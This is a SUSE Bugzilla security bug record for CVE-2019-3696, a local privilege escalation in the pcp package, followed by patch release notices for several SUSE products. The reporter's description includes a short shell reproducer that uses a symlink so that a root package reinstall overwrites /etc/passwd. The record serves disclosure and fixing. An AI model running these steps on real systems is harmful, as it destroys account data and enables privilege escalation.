Bug 1153921 (CVE-2019-3696) - VUL-0: CVE-2019-3696: pcp: LPE through migrate_tempdirs
Summary: VUL-0: CVE-2019-3696: pcp: LPE through migrate_tempdirs
Status: RESOLVED FIXED
Alias: CVE-2019-3696
Product: SUSE Security Incidents
Classification: Novell Products
Component: Audits (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal
Target Milestone: ---
Assignee: David Disseldorp
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/244863/
Whiteboard:
Keywords:
Depends on:
Blocks: 1152533 1154062
  Show dependency tree / graph
 
Reported: 2019-10-14 12:38 UTC by Johannes Segitz
Modified: 2023-09-21 07:47 UTC (History)
3 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---

Attachments
Add an attachment (proposed patch, testcase, etc.)

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2019-10-14 12:38:27 UTC 
The mv in migrate_tempdirs can be exploited for LPE. Reproducer:

Create a backup of /etc/passwd before trying this or do it in a disposable VM

As pcp:
mkdir /var/tmp/pmlogger
chmod +t /var/tmp/pmlogger
cd /var/tmp/pmlogger
echo owned > passwd
mkdir /var/lib/pcp/tmp/pmlogger
cd /var/lib/pcp/tmp/pmlogger
ln -s /etc/ passwd

As root:
zypper in -f pcp


After installation:
cat /etc/passwd
owned
Comment 1 Johannes Segitz 2019-11-08 08:43:19 UTC 
Please use CVE-2019-3696 and submit for this. Thank you
Comment 6 Alexandros Toptsoglou 2020-02-07 09:33:24 UTC 
Public and released to all codestreams
Comment 7 Swamp Workflow Management 2020-02-07 14:11:49 UTC 
SUSE-SU-2020:0355-1: An update that solves two vulnerabilities and has one errata is now available.

Category: security (important)
Bug References: 1129991,1152763,1153921
CVE References: CVE-2019-3695,CVE-2019-3696
Sources used:
SUSE Linux Enterprise Module for Open Buildservice Development Tools 15-SP1 (src):    pcp-4.3.1-3.5.3
SUSE Linux Enterprise Module for Development Tools 15-SP1 (src):    pcp-4.3.1-3.5.3

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 8 Swamp Workflow Management 2020-02-07 14:13:37 UTC 
SUSE-SU-2020:0356-1: An update that solves two vulnerabilities and has one errata is now available.

Category: security (important)
Bug References: 1129991,1152763,1153921
CVE References: CVE-2019-3695,CVE-2019-3696
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP5 (src):    pcp-3.11.9-6.14.1
SUSE Linux Enterprise Software Development Kit 12-SP4 (src):    pcp-3.11.9-6.14.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 9 Swamp Workflow Management 2020-02-07 14:15:16 UTC 
SUSE-SU-2020:0357-1: An update that solves two vulnerabilities and has one errata is now available.

Category: security (important)
Bug References: 1129991,1152763,1153921
CVE References: CVE-2019-3695,CVE-2019-3696
Sources used:
SUSE Linux Enterprise Server for SAP 15 (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise Server 15-LTSS (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise Module for Open Buildservice Development Tools 15-SP1 (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise Module for Open Buildservice Development Tools 15 (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise Module for Development Tools 15 (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise High Performance Computing 15-LTSS (src):    pcp-3.11.9-5.8.1
SUSE Linux Enterprise High Performance Computing 15-ESPOS (src):    pcp-3.11.9-5.8.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 10 Swamp Workflow Management 2020-02-12 20:13:00 UTC 
openSUSE-SU-2020:0213-1: An update that solves two vulnerabilities and has one errata is now available.

Category: security (important)
Bug References: 1129991,1152763,1153921
CVE References: CVE-2019-3695,CVE-2019-3696
Sources used:
openSUSE Leap 15.1 (src):    pcp-4.3.1-lp151.2.3.1
Comment 11 Johannes Segitz 2020-07-20 12:15:37 UTC 
Snippet is still in Factory. Can you please fix it there too? Thans
Comment 12 David Disseldorp 2021-02-23 00:54:55 UTC 
(In reply to Johannes Segitz from comment #11)
> Snippet is still in Factory. Can you please fix it there too? Thans

Fixed in factory, closing...